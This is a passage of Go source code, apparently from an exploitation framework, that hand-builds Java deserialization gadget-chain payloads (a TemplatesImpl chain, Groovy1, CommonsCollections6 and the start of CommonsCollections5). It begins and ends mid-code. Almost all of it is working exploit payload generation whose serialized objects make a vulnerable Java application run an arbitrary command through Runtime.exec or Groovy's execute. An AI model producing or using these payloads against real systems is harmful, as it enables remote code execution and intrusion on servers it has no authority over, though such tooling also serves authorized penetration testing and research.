00\\x01\\x00\\x19\\x00\\x01\\x00\\x16\\x00\\x1a\\x00\\x02\\x00\\x1b\\x00\\x00\\x00\\x0d\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\xb1\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x04\\x00\\x01\\x00\\x19\\x00\\x00\"\n\n\tbytesCodeArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[[B\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x4b, 0xfd, 0x19, 0x15, 0x67, 0x67, 0xdb, 0x37},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"[B\",\n\t\t\t\t\tSerialVersionUID: []byte{0xac, 0xf3, 0x17, 0xf8, 0x06, 0x08, 0x54, 0xe0},\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t\tTCContents: []TCContent{ // actual array value\n\t\t\t\t\tArrayBytes{Data: []byte(classData)},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// []classdata for templatesImpl\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCInteger{Value: 0}) // _indentNumber (int)\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCInteger{Value: 0}) // _transletIndex (int)\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, bytesCodeArray)      // _bytescodes (array)\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCNull{})            // _class (array)\n\tif os.Getenv(\"DEBUGMODE\") == \"1\" {\n\t\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCString{Value: \"Evil\"}) // _name\n\t} else {\n\t\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCString{Value: random.RandLetters(4)}) // _name\n\t}\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCNull{}) // _outputProperties\n\n\t// objectAnnotations for templatesImpl\n\ttemplatesImplObject.TCContents = append(templatesImplObject.TCContents, TCBlockData{Value: \"\\x00\"})\n\n\trootObject.TCContents = append(rootObject.TCContents, templatesImplObject) // rootObject.objectAnnotations[1]\n\trootObject.TCContents = append(rootObject.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0e}})\n\trootObject.TCContents = append(rootObject.TCContents, TCEndBlockData{})\n\n\t// finalize the gadget\n\tobjects = append(objects, rootObject)\n\n\tbinaryStream := []byte{}\n\tbinaryStream = append(binaryStream, StreamMagicCode[:]...)\n\tbinaryStream = append(binaryStream, StreamVersionCode...)\n\n\tfor _, object := range objects {\n\t\tobjectBin, ok := object.ToBytes()\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkError(\"Failed to convert object into bytes: %q\", object)\n\n\t\t\treturn []byte{}, false\n\t\t}\n\t\tbinaryStream = append(binaryStream, objectBin...)\n\t}\n\n\treturn binaryStream, true\n}\n\n// Generates the Groovy1 gadget payload.\nfunc CreateGroovy1(command string) ([]byte, bool) {\n\tfinalObject := []byte{}\n\tfinalObject = append(finalObject, StreamMagicCode[:]...)\n\tfinalObject = append(finalObject, StreamVersionCode...)\n\n\trootObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"sun.reflect.annotation.AnnotationInvocationHandler\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb, 0x7e, 0xa5},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{Name: \"memberValues\", Value: \"Ljava/util/Map;\"},\n\t\t\t\tObjectField{Name: \"type\", Value: \"Ljava/lang/Class;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tproxyMap := TCObject{\n\t\tInfoContent: TCProxyClassDesc{\n\t\t\tInterfaces: []string{\"java.util.Map\"},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.reflect.Proxy\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{Name: \"h\", Value: \"Ljava/lang/reflect/InvocationHandler;\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tconvertedClosure := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.codehaus.groovy.runtime.ConvertedClosure\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x10, 0x23, 0x37, 0x19, 0xf7, 0x15, 0xdd, 0x1b},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{Name: \"methodName\", Value: \"Ljava/lang/String;\"},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"org.codehaus.groovy.runtime.ConversionHandler\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x10, 0x23, 0x37, 0x1a, 0xd6, 0x01, 0xbc, 0x1b},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{Name: \"delegate\", Value: \"Ljava/lang/Object;\"},\n\t\t\t\t\tObjectField{Name: \"handleCache\", Value: \"Ljava/util/concurrent/ConcurrentHashMap;\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tmethodClosure := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.codehaus.groovy.runtime.MethodClosure\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x11, 0x0e, 0x3e, 0x84, 0x8f, 0xbd, 0xce, 0x48},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{Name: \"method\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x09}}},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"groovy.lang.Closure\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x3c, 0xa0, 0xc7, 0x66, 0x16, 0x12, 0x6c, 0x5a},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tIntegerField{Name: \"directive\"},\n\t\t\t\t\tIntegerField{Name: \"maximumNumberOfParameters\"},\n\t\t\t\t\tIntegerField{Name: \"resolveStrategy\"},\n\t\t\t\t\tObjectField{Name: \"bcw\", Value: \"Lorg/codehaus/groovy/runtime/callsite/BooleanClosureWrapper;\"},\n\t\t\t\t\tObjectField{Name: \"delegate\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}},\n\t\t\t\t\tObjectField{Name: \"owner\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}},\n\t\t\t\t\tArrayField{Name: \"parameterTypes\", Value: \"[Ljava/lang/Class;\"},\n\t\t\t\t\tObjectField{Name: \"thisObject\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tparamTypesArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.Class;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"[Ljava.lang.String;\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.io.File\",\n\t\t\t\t\tSerialVersionUID: []byte{0x04, 0x2d, 0xa4, 0x45, 0x0e, 0x0d, 0xe4, 0xff},\n\t\t\t\t\tFlags:            0x03,\n\t\t\t\t\tFields: []Field{\n\t\t\t\t\t\tObjectField{Name: \"path\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x09}}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tmethodClosure.TCContents = []TCContent{\n\t\tTCInteger{Value: 0},      // directive\n\t\tTCInteger{Value: 2},      // maximumNumberOfParameters\n\t\tTCInteger{Value: 0},      // resolveStrategy\n\t\tTCNull{},                 // bcw\n\t\tTCString{Value: command}, // delegate\n\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}}, // owner\n\t\tparamTypesArray,            // parameterTypes\n\t\tTCNull{},                   // thisObject\n\t\tTCString{Value: \"execute\"}, // method\n\t}\n\n\tconcurrentHashMap := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.concurrent.ConcurrentHashMap\",\n\t\t\tSerialVersionUID: []byte{0x64, 0x99, 0xde, 0x12, 0x9d, 0x87, 0x29, 0x3d},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"segmentMask\"},\n\t\t\t\tIntegerField{Name: \"segmentShift\"},\n\t\t\t\tArrayField{Name: \"segments\", Value: \"[Ljava/util/concurrent/ConcurrentHashMap$Segment;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tsegmentsArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.util.concurrent.ConcurrentHashMap$Segment;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x52, 0x77, 0x3f, 0x41, 0x32, 0x9b, 0x39, 0x74},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\tsegment0 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.concurrent.ConcurrentHashMap$Segment\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x1f, 0x36, 0x4c, 0x90, 0x58, 0x93, 0x29, 0x3d},\n\t\t\tFields: []Field{\n\t\t\t\tFloatField{Name: \"loadFactor\"},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.util.concurrent.locks.ReentrantLock\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x66, 0x55, 0xa8, 0x2c, 0x2c, 0xc8, 0x6a, 0xeb},\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{Name: \"sync\", Value: \"Ljava/util/concurrent/locks/ReentrantLock$Sync;\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tnonfairSync := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.concurrent.locks.ReentrantLock$NonfairSync\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x65, 0x88, 0x32, 0xe7, 0x53, 0x7b, 0xbf, 0x0b},\n\t\t\tFields:           []Field{},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.util.concurrent.locks.ReentrantLock$Sync\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0xb8, 0x1e, 0xa2, 0x94, 0xaa, 0x44, 0x5a, 0x7c},\n\t\t\t\tFields:           []Field{},\n\t\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\t\tName:             \"java.util.concurrent.locks.AbstractQueuedSynchronizer\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0x66, 0x55, 0xa8, 0x43, 0x75, 0x3f, 0x52, 0xe3},\n\t\t\t\t\tFields: []Field{\n\t\t\t\t\t\tIntegerField{Name: \"state\"},\n\t\t\t\t\t},\n\t\t\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\t\t\tName:             \"java.util.concurrent.locks.AbstractOwnableSynchronizer\",\n\t\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\t\tSerialVersionUID: []byte{0x33, 0xdf, 0xaf, 0xb9, 0xad, 0x6d, 0x6f, 0xa9},\n\t\t\t\t\t\tFields:           []Field{},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 0}, // state\n\t\t},\n\t}\n\n\tsegment0.TCContents = []TCContent{\n\t\tnonfairSync,\n\t\tTCFloat{Value: 0.75}, // loadFactor\n\t}\n\n\tsegmentsArray.TCContents = append(segmentsArray.TCContents, segment0)\n\n\tfor range 15 {\n\t\tsegmentRef := TCObject{\n\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x20}},\n\t\t}\n\t\tsyncRef := TCObject{\n\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x24}},\n\t\t\tTCContents: []TCContent{\n\t\t\t\tTCInteger{Value: 0}, // state\n\t\t\t},\n\t\t}\n\t\tsegmentRef.TCContents = []TCContent{\n\t\t\tsyncRef,\n\t\t\tTCFloat{Value: 0.75}, // loadFactor\n\t\t}\n\t\tsegmentsArray.TCContents = append(segmentsArray.TCContents, segmentRef)\n\t}\n\n\tconcurrentHashMap.TCContents = []TCContent{\n\t\tTCInteger{Value: 15}, // segmentMask\n\t\tTCInteger{Value: 28}, // segmentShift\n\t\tsegmentsArray,\n\t\tTCNull{},\n\t\tTCNull{},\n\t\tTCEndBlockData{},\n\t}\n\n\tconvertedClosure.TCContents = []TCContent{\n\t\tmethodClosure,               // delegate\n\t\tconcurrentHashMap,           // handleCache\n\t\tTCString{Value: \"entrySet\"}, // methodName\n\t}\n\n\tproxyMap.TCContents = []TCContent{\n\t\tconvertedClosure,\n\t}\n\n\toverrideClass := TCClass{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Override\",\n\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\tFlags:            0x00,\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\trootObject.TCContents = []TCContent{\n\t\tproxyMap,\n\t\toverrideClass,\n\t}\n\n\trootObjectBytes, ok := rootObject.ToBytes()\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Failed to convert rootObject into bytes\")\n\n\t\treturn []byte{}, false\n\t}\n\tfinalObject = append(finalObject, rootObjectBytes...)\n\n\treturn finalObject, true\n}\n\n// Generates the CommonsCollections6 gadget payload.\nfunc CreateCommonsCollections6(program string, args string) ([]byte, bool) {\n\tfinalObject := []byte{}\n\tfinalObject = append(finalObject, StreamMagicCode[:]...)\n\tfinalObject = append(finalObject, StreamVersionCode...)\n\n\trootObject := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.HashSet\",\n\t\t\tSerialVersionUID: []byte{0xba, 0x44, 0x85, 0x95, 0x96, 0xb8, 0xb7, 0x34},\n\t\t\tFlags:            0x03,\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\ttiedMapEntry := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.keyvalue.TiedMapEntry\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x8a, 0xad, 0xd2, 0x9b, 0x39, 0xc1, 0x1f, 0xdb},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"key\",\n\t\t\t\t\tValue: \"Ljava/lang/Object;\",\n\t\t\t\t},\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"map\",\n\t\t\t\t\tValue: \"Ljava/util/Map;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tlazyMap := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.map.LazyMap\",\n\t\t\tSerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"factory\",\n\t\t\t\t\tValue: \"Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tchainedTransformer := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ChainedTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{\n\t\t\t\t\tName:  \"iTransformers\",\n\t\t\t\t\tValue: \"[Lorg/apache/commons/collections/Transformer;\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\ttransformersArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Lorg.apache.commons.collections.Transformer;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\ttransformer0 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.ConstantTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94},\n\t\t\tFields: []Field{\n\t\t\t\tObjectField{\n\t\t\t\t\tName:  \"iConstant\",\n\t\t\t\t\tValue: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x03}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.Runtime\",\n\t\t\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\t\t\tFlags:            0x00,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\ttransformer1 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"org.apache.commons.collections.functors.InvokerTransformer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tArrayField{Name: \"iArgs\", Value: \"[Ljava/lang/Object;\"},\n\t\t\t\tObjectField{Name: \"iMethodName\", Value: \"Ljava/lang/String;\"},\n\t\t\t\tArrayField{Name: \"iParamTypes\", Value: \"[Ljava/lang/Class;\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tiArgs1 := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.Object;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: \"getRuntime\"},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"[Ljava.lang.Class;\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t\tTCContents: []TCContent{},\n\t\t\t},\n\t\t},\n\t}\n\n\tiParamTypes1 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.String\",\n\t\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\t\tSerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42},\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}},\n\t\t},\n\t}\n\n\ttransformer1.TCContents = append(transformer1.TCContents, iArgs1)\n\ttransformer1.TCContents = append(transformer1.TCContents, TCString{Value: \"getMethod\"})\n\ttransformer1.TCContents = append(transformer1.TCContents, iParamTypes1)\n\n\ttransformer2 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}},\n\t}\n\n\tiArgs2 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}},\n\t\tTCContents: []TCContent{\n\t\t\tTCNull{},\n\t\t\tTCArray{\n\t\t\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}},\n\t\t\t\tTCContents:  []TCContent{},\n\t\t\t},\n\t\t},\n\t}\n\n\tiParamTypes2 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCClass{\n\t\t\t\tInfoContent: TCClassDesc{\n\t\t\t\t\tName:             \"java.lang.Object\",\n\t\t\t\t\tSerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},\n\t\t\t\t\tFlags:            0x00,\n\t\t\t\t\tFields:           []Field{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tTCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}}},\n\t\t},\n\t}\n\n\ttransformer2.TCContents = append(transformer2.TCContents, iArgs2)\n\ttransformer2.TCContents = append(transformer2.TCContents, TCString{Value: \"invoke\"})\n\ttransformer2.TCContents = append(transformer2.TCContents, iParamTypes2)\n\n\ttransformer3 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}},\n\t}\n\n\tiArgs3 := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.String;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47},\n\t\t\tFields:           []Field{},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCString{Value: fmt.Sprintf(\"%s %s\", program, args)},\n\t\t},\n\t}\n\n\tiParamTypes3 := TCArray{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}},\n\t\tTCContents: []TCContent{\n\t\t\tTCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x20}},\n\t\t},\n\t}\n\n\ttransformer3.TCContents = append(transformer3.TCContents, iArgs3)\n\ttransformer3.TCContents = append(transformer3.TCContents, TCString{Value: \"exec\"})\n\ttransformer3.TCContents = append(transformer3.TCContents, iParamTypes3)\n\n\ttransformer4 := TCObject{\n\t\tInfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0f}},\n\t}\n\n\tintegerOne := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.Integer\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"value\"},\n\t\t\t},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.Number\",\n\t\t\t\tFlags:            SCSerializableCode,\n\t\t\t\tSerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b},\n\t\t\t\tFields:           []Field{},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCInteger{Value: 1},\n\t\t},\n\t}\n\n\ttransformer4.TCContents = append(transformer4.TCContents, integerOne)\n\n\ttransformersArray.TCContents = []TCContent{\n\t\ttransformer0,\n\t\ttransformer1,\n\t\ttransformer2,\n\t\ttransformer3,\n\t\ttransformer4,\n\t}\n\n\tchainedTransformer.TCContents = []TCContent{transformersArray}\n\n\thashMap := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.util.HashMap\",\n\t\t\tSerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1},\n\t\t\tFlags:            0x03,\n\t\t\tFields: []Field{\n\t\t\t\tFloatField{Name: \"loadFactor\"},\n\t\t\t\tIntegerField{Name: \"threshold\"},\n\t\t\t},\n\t\t},\n\t\tTCContents: []TCContent{\n\t\t\tTCFloat{Value: 0.75},\n\t\t\tTCInteger{Value: 0},\n\t\t\tTCBlockData{Value: \"\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\"},\n\t\t\tTCEndBlockData{},\n\t\t},\n\t}\n\n\tlazyMap.TCContents = []TCContent{\n\t\tchainedTransformer,\n\t\thashMap,\n\t\tTCEndBlockData{},\n\t}\n\n\ttiedMapEntry.TCContents = []TCContent{\n\t\tTCString{Value: \"foo\"},\n\t\tlazyMap,\n\t}\n\n\trootObject.TCContents = []TCContent{\n\t\tTCBlockData{Value: \"\\x00\\x00\\x00\\x02\\x3f\\x40\\x00\\x00\\x00\\x00\\x00\\x01\", OmitEnd: true},\n\t\ttiedMapEntry,\n\t}\n\n\t// Slap it all together\n\trootObjectBytes, ok := rootObject.ToBytes()\n\tif !ok {\n\t\treturn []byte{}, false\n\t}\n\tfinalObject = append(finalObject, rootObjectBytes...)\n\n\treturn finalObject, true\n}\n\n// Generates the CommonsCollections5 gadget payload.\nfunc CreateCommonsCollections5(program string, args string) ([]byte, bool) {\n\tfinalObject := []byte{}\n\tfinalObject = append(finalObject, StreamMagicCode[:]...)\n\tfinalObject = append(finalObject, StreamVersionCode...)\n\n\trootObject := TCObject{}\n\n\trootInfoContent := TCClassDesc{\n\t\tName:             \"javax.management.BadAttributeValueExpException\",\n\t\tFlags:            SCSerializableCode,\n\t\tSerialVersionUID: []byte{0xd4, 0xe7, 0xda, 0xab, 0x63, 0x2d, 0x46, 0x40},\n\t\tFields: []Field{\n\t\t\tObjectField{\n\t\t\t\tName:  \"val\",\n\t\t\t\tValue: \"Ljava/lang/Object;\",\n\t\t\t},\n\t\t},\n\t\tSuperClassDesc: TCClassDesc{\n\t\t\tName:             \"java.lang.Exception\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0xd0, 0xfd, 0x1f, 0x3e, 0x1a, 0x3b, 0x1c, 0xc4},\n\t\t\tFields:           []Field{},\n\t\t\tSuperClassDesc: TCClassDesc{\n\t\t\t\tName:             \"java.lang.Throwable\",\n\t\t\t\tSerialVersionUID: []byte{0xd5, 0xc6, 0x35, 0x27, 0x39, 0x77, 0xb8, 0xcb},\n\t\t\t\tFlags:            0x03,\n\t\t\t\tFields: []Field{\n\t\t\t\t\tObjectField{\n\t\t\t\t\t\tName:  \"cause\",\n\t\t\t\t\t\tValue: \"Ljava/lang/Throwable;\",\n\t\t\t\t\t},\n\t\t\t\t\tObjectField{\n\t\t\t\t\t\tName:  \"detailMessage\",\n\t\t\t\t\t\tValue: \"Ljava/lang/String;\",\n\t\t\t\t\t},\n\t\t\t\t\tArrayField{\n\t\t\t\t\t\tName:  \"stackTrace\",\n\t\t\t\t\t\tValue: \"[Ljava/lang/StackTraceElement;\",\n\t\t\t\t\t},\n\t\t\t\t\tObjectField{\n\t\t\t\t\t\tName:  \"suppressedExceptions\",\n\t\t\t\t\t\tValue: \"Ljava/util/List;\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\trootObject.InfoContent = rootInfoContent\n\n\tcauseSelfRef := TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x08}}\n\n\tdetailMessage := TCNull{}\n\n\tstackTraceArray := TCArray{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"[Ljava.lang.StackTraceElement;\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x02, 0x46, 0x2a, 0x3c, 0x3c, 0xfd, 0x22, 0x39},\n\t\t\tFields:           []Field{},\n\t\t},\n\t}\n\n\tstackTrace1 := TCObject{\n\t\tInfoContent: TCClassDesc{\n\t\t\tName:             \"java.lang.StackTraceElement\",\n\t\t\tFlags:            SCSerializableCode,\n\t\t\tSerialVersionUID: []byte{0x61, 0x09, 0xc5, 0x9a, 0x26, 0x36, 0xdd, 0x85},\n\t\t\tFields: []Field{\n\t\t\t\tIntegerField{Name: \"lineNumber\"},\n\t\t\t\tObjectField{Name: \"declaringClass\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}},\n\t\t\t\tObjectField{Name: \"fileName\", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 